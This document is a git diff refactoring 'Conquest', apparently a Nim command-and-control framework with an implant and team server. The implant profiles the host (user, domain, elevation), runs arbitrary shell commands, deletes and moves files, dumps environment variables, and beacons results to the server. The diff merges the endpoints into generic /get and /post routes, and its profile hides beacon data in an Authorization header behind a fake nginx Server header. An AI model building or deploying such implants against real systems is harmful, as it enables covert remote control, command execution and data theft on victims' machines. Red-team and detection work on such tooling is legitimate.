diff --git a/.gitignore b/.gitignore index 3be7c01..2f4aef4 100644 --- a/.gitignore +++ b/.gitignore @@ -8,6 +8,8 @@ bin/* !bin/.gitkeep *.exe +.vscode/ + # Nim nimcache/ nimblecache/ diff --git a/data/profile.toml b/data/profile.toml index c2c200e..b3a57ca 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -33,7 +33,7 @@ append = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" placement = { type = "header", name = "Authorization" } # placement = { type = "header", name = "Cookie" } # placement = { type = "parameter", name = "id" } -# placement = { type = "uri-append" } +# placement = { type = "uri" } # placement = { type = "body" } # Defines arbitrary URI parameters that are added to the request @@ -41,12 +41,12 @@ placement = { type = "header", name = "Authorization" } # Defines arbitrary headers that are added by the agent when performing a HTTP GET request [http-get.agent.headers] -Cache-Control = "no-cache" +"Cache-Control" = "no-cache" -# Defines arbitrary headers that are added by the server +# Defines arbitrary headers that are added to the server's response [http-get.server.headers] -Server = "nginx" -X-CONQUEST-VERSION = "0.1" +"Server" = "nginx" +"X-CONQUEST-VERSION" = "0.1" # Defines how the server's response to the task retrieval request is rendered # Allows same data transformation options as the agent metadata, allowing it to be embedded in benign content @@ -70,9 +70,12 @@ request_methods = [ [http-post.agent.headers] Cache-Control = "no-cache" +[http-post.agent.output] +placement = { type = "body" } + [http-post.server.headers] -Server = "nginx" -X-CONQUEST-VERSION = "0.1" +"Server" = "nginx" +"X-CONQUEST-VERSION" = "0.1" [http-post.server.output] placement = { type = "body" } \ No newline at end of file diff --git a/src/agent/core/heartbeat.nim b/src/agent/core/heartbeat.nim index d3a7c8c..456c8a1 100644 --- a/src/agent/core/heartbeat.nim +++ b/src/agent/core/heartbeat.nim @@ -21,7 +21,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat = proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] = - var packer = initPacker() + var packer = Packer.init() # Serialize check-in / heartbeat request packer diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index fe7be58..56d1d10 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -4,32 +4,7 @@ import ../../common/[types, utils] const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" -proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} = - - let client = newAsyncHttpClient(userAgent = USER_AGENT) - - # Define HTTP headers - client.headers = newHttpHeaders({ - "Content-Type": "application/octet-stream", - "Content-Length": $registrationData.len - }) - - let body = registrationData.toString() - - try: - # Register agent to the Conquest server - discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body) - - except CatchableError as err: - echo "[-] [register]:", err.msg - quit(0) - - finally: - client.close() - - return true - -proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string = +proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string = let client = newAsyncHttpClient(userAgent = USER_AGENT) var responseBody = "" @@ -43,40 +18,38 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string = try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks") + responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get") return responseBody except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [getTasks]: " & err.msg + echo "[-] " & err.msg finally: client.close() return "" -proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} = +proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} = let client = newAsyncHttpClient(userAgent = USER_AGENT) # Define headers client.headers = newHttpHeaders({ "Content-Type": "application/octet-stream", - "Content-Length": $resultData.len + "Content-Length": $data.len }) - let body = resultData.toString() - - echo body + let body = Bytes.toString(data) try: - # Send binary task result data to server - discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body) + # Send post request to team server + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body) except CatchableError as err: - # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [postResults]: " & err.msg + echo "[-] " & err.msg return false + finally: client.close() diff --git a/src/agent/core/register.nim b/src/agent/core/register.nim index f09528f..3460c15 100644 --- a/src/agent/core/register.nim +++ b/src/agent/core/register.nim @@ -209,12 +209,12 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = agentPublicKey: config.agentPublicKey, metadata: AgentMetadata( listenerId: uuidToUint32(config.listenerId), - username: getUsername().toBytes(), - hostname: getHostname().toBytes(), - domain: getDomain().toBytes(), - ip: getIPv4Address().toBytes(), - os: getOSVersion().toBytes(), - process: getProcessExe().toBytes(), + username: string.toBytes(getUsername()), + hostname: string.toBytes(getHostname()), + domain: string.toBytes(getDomain()), + ip: string.toBytes(getIPv4Address()), + os: string.toBytes(getOSVersion()), + process: string.toBytes(getProcessExe()), pid: cast[uint32](getProcessId()), isElevated: cast[uint8](isElevated()), sleep: cast[uint32](config.sleep) @@ -223,7 +223,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] = - var packer = initPacker() + var packer = Packer.init() # Serialize registration data packer diff --git a/src/agent/core/task.nim b/src/agent/core/task.nim index 5c2165b..2e6f7a1 100644 --- a/src/agent/core/task.nim +++ b/src/agent/core/task.nim @@ -6,12 +6,12 @@ import ../../common/[types, serialize, sequence, crypto, utils] proc handleTask*(config: AgentConfig, task: Task): TaskResult = try: return getCommandByType(cast[CommandType](task.command)).execute(config, task) - except CatchableError: - echo "[-] Command not found." + except CatchableError as err: + echo "[-] Invalid command. " & err.msg proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = - var unpacker = initUnpacker(bytes.toString) + var unpacker = Unpacker.init(Bytes.toString(bytes)) let header = unpacker.deserializeHeader() @@ -23,7 +23,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data - unpacker = initUnpacker(decData.toString) + unpacker = Unpacker.init(Bytes.toString(decData)) let taskId = unpacker.getUint32() @@ -54,7 +54,7 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] = result = newSeq[Task]() - var unpacker = initUnpacker(packet) + var unpacker = Unpacker.init(packet) var taskCount = unpacker.getUint8() echo fmt"[*] Response contained {taskCount} tasks." diff --git a/src/agent/core/taskresult.nim b/src/agent/core/taskresult.nim index 6ca4471..b54e0ca 100644 --- a/src/agent/core/taskresult.nim +++ b/src/agent/core/taskresult.nim @@ -6,7 +6,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r header: Header( magic: MAGIC, version: VERSION, - packetType: cast[uint8](MSG_RESPONSE), + packetType: cast[uint8](MSG_RESULT), flags: cast[uint16](FLAG_ENCRYPTED), size: 0'u32, agentId: task.header.agentId, @@ -26,7 +26,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] = - var packer = initPacker() + var packer = Packer.init() # Serialize result body packer diff --git a/src/agent/main.nim b/src/agent/main.nim index 7947940..3845786 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -61,7 +61,9 @@ proc main() = var registration: AgentRegistrationData = config.collectAgentMetadata() let registrationBytes = config.serializeRegistrationData(registration) - config.register(registrationBytes) + if not config.httpPost(registrationBytes): + echo "[-] Agent registration failed." + quit(0) echo fmt"[+] [{config.agentId}] Agent registered." #[ @@ -86,16 +88,16 @@ proc main() = var heartbeat: Heartbeat = config.createHeartbeat() let heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat) - packet: string = config.getTasks(heartbeatBytes) + packet: string = config.httpGet(heartbeatBytes) if packet.len <= 0: - echo "No tasks to execute." + echo "[*] No tasks to execute." continue let tasks: seq[Task] = config.deserializePacket(packet) if tasks.len <= 0: - echo "No tasks to execute." + echo "[*] No tasks to execute." continue # Execute all retrieved tasks and return their output to the server @@ -103,7 +105,7 @@ proc main() = var result: TaskResult = config.handleTask(task) let resultBytes: seq[byte] = config.serializeTaskResult(result) - config.postResults(resultBytes) + config.httpPost(resultBytes) except CatchableError as err: echo "[-] ", err.msg diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 9ada0aa..3030ff4 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -1,9 +1,9 @@ # Agent configuration --d:ListenerUuid="58A66E35" +-d:ListenerUuid="7147A315" -d:Octet1="127" -d:Octet2="0" -d:Octet3="0" -d:Octet4="1" -d:ListenerPort=5555 -d:SleepDelay=5 --d:ServerPublicKey="OzczGQndMRzmaVcJo5USBBSrk76FsNlU8SNzCGbyVgo=" +-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" diff --git a/src/common/crypto.nim b/src/common/crypto.nim index 39549d1..71d2a74 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -21,7 +21,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[b var tag: AuthenticationTag var ctx: GCM[aes256] - ctx.init(key, iv, sequenceNumber.toBytes()) + ctx.init(key, iv, uint32.toBytes(sequenceNumber)) ctx.encrypt(data, encData) ctx.getTag(tag) @@ -36,7 +36,7 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (se var tag: AuthenticationTag var ctx: GCM[aes256] - ctx.init(key, iv, sequenceNumber.toBytes()) + ctx.init(key, iv, uint32.toBytes(sequenceNumber)) ctx.decrypt(encData, data) ctx.getTag(tag) @@ -114,7 +114,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key = # Add combined public keys to hash let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey) - let hashMessage: seq[byte] = "CONQUEST".toBytes() & @combinedKeys + let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys # Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b) let hash = blake2b(hashMessage, sharedSecret) diff --git a/src/common/serialize.nim b/src/common/serialize.nim index 1766a58..73b611b 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -4,7 +4,7 @@ type Packer* = ref object stream: StringStream -proc initPacker*(): Packer = +proc init*(T: type Packer): Packer = result = new Packer result.stream = newStringStream() @@ -64,7 +64,7 @@ type stream: StringStream position: int -proc initUnpacker*(data: string): Unpacker = +proc init*(T: type Unpacker, data: string): Unpacker = result = new Unpacker result.stream = newStringStream(data) result.position = 0 @@ -156,7 +156,7 @@ proc getVarLengthMetadata*(unpacker: Unpacker): string = return "" # Read content - return unpacker.getBytes(int(length)).toString() + return Bytes.toString(unpacker.getBytes(int(length))) # Serialization & Deserialization functions proc serializeHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] = diff --git a/src/common/types.nim b/src/common/types.nim index 3b43308..f132222 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -13,7 +13,7 @@ const type PacketType* = enum MSG_TASK = 0'u8 - MSG_RESPONSE = 1'u8 + MSG_RESULT = 1'u8 MSG_REGISTER = 2'u8 MSG_HEARTBEAT = 100'u8 @@ -56,7 +56,8 @@ type RESULT_NO_OUTPUT = 2'u8 # Encryption -type +type + Bytes* = seq[byte] Key* = array[32, byte] Iv* = array[12, byte] AuthenticationTag* = array[16, byte] diff --git a/src/common/utils.nim b/src/common/utils.nim index cf105e3..cb4ec62 100644 --- a/src/common/utils.nim +++ b/src/common/utils.nim @@ -16,17 +16,17 @@ proc uuidToUint32*(uuid: string): uint32 = proc uuidToString*(uuid: uint32): string = return uuid.toHex(8) -proc toString*(data: seq[byte]): string = +proc toString*(T: type Bytes, data: seq[byte]): string = result = newString(data.len) for i, b in data: result[i] = char(b) -proc toBytes*(data: string): seq[byte] = +proc toBytes*(T: type string, data: string): seq[byte] = result = newSeq[byte](data.len) for i, c in data: result[i] = byte(c.ord) -proc toUint32*(data: seq[byte]): uint32 = +proc toUint32*(T: type Bytes, data: seq[byte]): uint32 = if data.len != 4: raise newException(ValueError, "Expected 4 bytes for uint32") @@ -44,13 +44,13 @@ proc toHexDump*(data: seq[byte]): string = else: result.add(" ") # Regular space -proc toBytes*(value: uint16): seq[byte] = +proc toBytes*(T: type uint16, value: uint16): seq[byte] = return @[ byte(value and 0xFF), byte((value shr 8) and 0xFF) ] -proc toBytes*(value: uint32): seq[byte] = +proc toBytes*(T: type uint32, value: uint32): seq[byte] = return @[ byte(value and 0xFF), byte((value shr 8) and 0xFF), @@ -58,7 +58,7 @@ proc toBytes*(value: uint32): seq[byte] = byte((value shr 24) and 0xFF) ] -proc toBytes*(value: uint64): seq[byte] = +proc toBytes*(T: type uint64, value: uint64): seq[byte] = return @[ byte(value and 0xFF), byte((value shr 8) and 0xFF), diff --git a/src/modules/environment.nim b/src/modules/environment.nim index e22d7e4..2e5bd92 100644 --- a/src/modules/environment.nim +++ b/src/modules/environment.nim @@ -122,25 +122,24 @@ when defined(agent): for pid in processes: printProcess(pid) - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) - import sugar proc executeEnv(config: AgentConfig, task: Task): TaskResult = echo fmt" [>] Displaying environment variables." try: - var envVars: string = "" + var output: string = "" for key, value in envPairs(): - envVars &= fmt"{key}: {value}" & '\n' + output &= fmt"{key}: {value}" & '\n' - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, envVars.toBytes()) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) proc executeWhoami(config: AgentConfig, task: Task): TaskResult = @@ -148,8 +147,8 @@ when defined(agent): try: - let message = "Not implemented" - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, message.toBytes()) + let output = "Not implemented" + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) \ No newline at end of file + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index 722f355..30ad335 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -113,17 +113,17 @@ when defined(agent): raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") let output = $buffer[0 ..< (int)length] & "\n" - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # Change working directory proc executeCd(config: AgentConfig, task: Task): TaskResult = # Parse arguments - let targetDirectory = task.args[0].data.toString() + let targetDirectory = Bytes.toString(task.args[0].data) echo fmt" [>] Changing current working directory to {targetDirectory}." @@ -135,7 +135,7 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # List files and directories at a specific or at the current path @@ -158,7 +158,7 @@ when defined(agent): targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] of 1: - targetDirectory = task.args[0].data.toString() + targetDirectory = Bytes.toString(task.args[0].data) else: discard @@ -282,17 +282,17 @@ when defined(agent): output &= "\n" & fmt"{totalFiles} file(s)" & "\n" output &= fmt"{totalDirs} dir(s)" & "\n" - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # Remove file proc executeRm(config: AgentConfig, task: Task): TaskResult = # Parse arguments - let target = task.args[0].data.toString() + let target = Bytes.toString(task.args[0].data) echo fmt" [>] Deleting file {target}." @@ -303,14 +303,14 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # Remove directory proc executeRmdir(config: AgentConfig, task: Task): TaskResult = # Parse arguments - let target = task.args[0].data.toString() + let target = Bytes.toString(task.args[0].data) echo fmt" [>] Deleting directory {target}." @@ -321,15 +321,15 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # Move file or directory proc executeMove(config: AgentConfig, task: Task): TaskResult = # Parse arguments let - lpExistingFileName = task.args[0].data.toString() - lpNewFileName = task.args[1].data.toString() + lpExistingFileName = Bytes.toString(task.args[0].data) + lpNewFileName = Bytes.toString(task.args[1].data) echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." @@ -340,7 +340,7 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) # Copy file or directory @@ -348,8 +348,8 @@ when defined(agent): # Parse arguments let - lpExistingFileName = task.args[0].data.toString() - lpNewFileName = task.args[1].data.toString() + lpExistingFileName = Bytes.toString(task.args[0].data) + lpNewFileName = Bytes.toString(task.args[1].data) echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." @@ -361,4 +361,4 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) \ No newline at end of file + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file diff --git a/src/modules/shell.nim b/src/modules/shell.nim index cabf59e..549876b 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -36,11 +36,11 @@ when defined(agent): # Parse arguments case int(task.argCount): of 1: # Only the command has been passed as an argument - command = task.args[0].data.toString() + command = Bytes.toString(task.args[0].data) arguments = "" of 2: # The optional 'arguments' parameter was included - command = task.args[0].data.toString() - arguments = task.args[1].data.toString() + command = Bytes.toString(task.args[0].data) + arguments = Bytes.toString(task.args[1].data) else: discard @@ -49,9 +49,9 @@ when defined(agent): let (output, status) = execCmdEx(fmt("{command} {arguments}")) if output != "": - return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes()) + return createTaskResult(task, cast[StatusType](status), RESULT_STRING, string.toBytes(output)) else: return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index c51d7b9..e217cde 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -30,7 +30,7 @@ when defined(agent): try: # Parse task parameter - let delay = int(task.args[0].data.toUint32()) + let delay = int(Bytes.toUint32(task.args[0].data)) echo fmt" [>] Sleeping for {delay} seconds." @@ -41,4 +41,4 @@ when defined(agent): return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 0c3e0fb..2344a8b 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -92,7 +92,7 @@ proc handleResult*(resultData: seq[byte]) = if int(taskResult.length) > 0: cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:") # Split result string on newline to keep formatting - for line in taskResult.data.toString().split("\n"): + for line in Bytes.toString(taskResult.data).split("\n"): cq.writeLine(line) of RESULT_BINARY: diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index db9c0f5..f33bdc7 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -3,38 +3,16 @@ import sequtils, strutils, times, base64 import ./handlers import ../[utils, globals] -import ../../common/[types, utils] +import ../../common/[types, utils, serialize] proc error404*(ctx: Context) {.async.} = resp "", Http404 -#[ - POST /register - Called from agent to register itself to the conquest server -]# -proc register*(ctx: Context) {.async.} = - - # Check headers - # If POST data is not binary data, return 404 error code - if ctx.request.contentType != "application/octet-stream": - resp "", Http404 - return - - try: - if not register(ctx.request.body.toBytes()): - resp "", Http400 - return - - resp "", Http200 - - except CatchableError: - resp "", Http404 - #[ GET /tasks Called from agent to check for new tasks ]# -proc getTasks*(ctx: Context) {.async.} = +proc httpGet*(ctx: Context) {.async.} = # Check headers # Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix @@ -42,7 +20,7 @@ proc getTasks*(ctx: Context) {.async.} = resp "", Http404 return - let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes() + let checkinData: seq[byte] = string.toBytes(decode(ctx.request.getHeader("Authorization")[0].split(".")[1])) try: var response: seq[byte] @@ -57,12 +35,12 @@ proc getTasks*(ctx: Context) {.async.} = response.add(cast[uint8](tasks.len)) for task in tasks: - response.add(uint32(task.len).toBytes()) + response.add(uint32.toBytes(uint32(task.len))) response.add(task) await ctx.respond( code = Http200, - body = response.toString() + body = Bytes.toString(response) ) # Notify operator that agent collected tasks @@ -77,7 +55,7 @@ proc getTasks*(ctx: Context) {.async.} = POST /results Called from agent to post results of a task ]# -proc postResults*(ctx: Context) {.async.} = +proc httpPost*(ctx: Context) {.async.} = # Check headers # If POST data is not binary data, return 404 error code @@ -85,8 +63,19 @@ proc postResults*(ctx: Context) {.async.} = resp "", Http404 return - try: - handleResult(ctx.request.body.toBytes()) + try: + # Differentiate between registration and task result packet + var unpacker = Unpacker.init(ctx.request.body) + let header = unpacker.deserializeHeader() + + if cast[PacketType](header.packetType) == MSG_REGISTER: + if not register(string.toBytes(ctx.request.body)): + resp "", Http400 + return + resp "", Http200 + + elif cast[PacketType](header.packetType) == MSG_RESULT: + handleResult(string.toBytes(ctx.request.body)) except CatchableError: resp "", Http404 diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index e52f126..89e2a96 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -66,9 +66,8 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = var listener = newApp(settings = listenerSettings) # Define API endpoints - listener.post("register", routes.register) - listener.get("tasks", routes.getTasks) - listener.post("results", routes.postResults) + listener.get("get", routes.httpGet) + listener.post("post", routes.httpPost) listener.registerErrorHandler(Http404, routes.error404) # Store listener in database @@ -99,9 +98,8 @@ proc restartListeners*(cq: Conquest) = listener = newApp(settings = settings) # Define API endpoints - listener.post("register", routes.register) - listener.get("tasks", routes.getTasks) - listener.post("results", routes.postResults) + listener.get("get", routes.httpGet) + listener.post("post", routes.httpPost) listener.registerErrorHandler(Http404, routes.error404) try: diff --git a/src/server/message/packer.nim b/src/server/message/packer.nim index 6d37578..a9ad8ee 100644 --- a/src/server/message/packer.nim +++ b/src/server/message/packer.nim @@ -4,7 +4,7 @@ import ../../common/[types, utils, serialize, sequence, crypto] proc serializeTask*(cq: Conquest, task: var Task): seq[byte] = - var packer = initPacker() + var packer = Packer.init() # Serialize payload packer @@ -33,19 +33,19 @@ proc serializeTask*(cq: Conquest, task: var Task): seq[byte] = proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult = - var unpacker = initUnpacker(resultData.toString) + var unpacker = Unpacker.init(Bytes.toString(resultData)) let header = unpacker.deserializeHeader() # Packet Validation - validatePacket(header, cast[uint8](MSG_RESPONSE)) + validatePacket(header, cast[uint8](MSG_RESULT)) # Decrypt payload let payload = unpacker.getBytes(int(header.size)) let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data - unpacker = initUnpacker(decData.toString) + unpacker = Unpacker.init(Bytes.toString(decData)) let taskId = unpacker.getUint32() @@ -71,7 +71,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult = proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = - var unpacker = initUnpacker(data.toString) + var unpacker = Unpacker.init(Bytes.toString(data)) let header= unpacker.deserializeHeader() @@ -87,7 +87,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = let decData= validateDecryption(sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data - unpacker = initUnpacker(decData.toString) + unpacker = Unpacker.init(Bytes.toString(decData)) let listenerId = unpacker.getUint32() @@ -121,7 +121,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat = - var unpacker = initUnpacker(data.toString) + var unpacker = Unpacker.init(Bytes.toString(data)) let header = unpacker.deserializeHeader() @@ -133,7 +133,7 @@ proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat = let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data - unpacker = initUnpacker(decData.toString) + unpacker = Unpacker.init(Bytes.toString(decData)) return Heartbeat( header: header,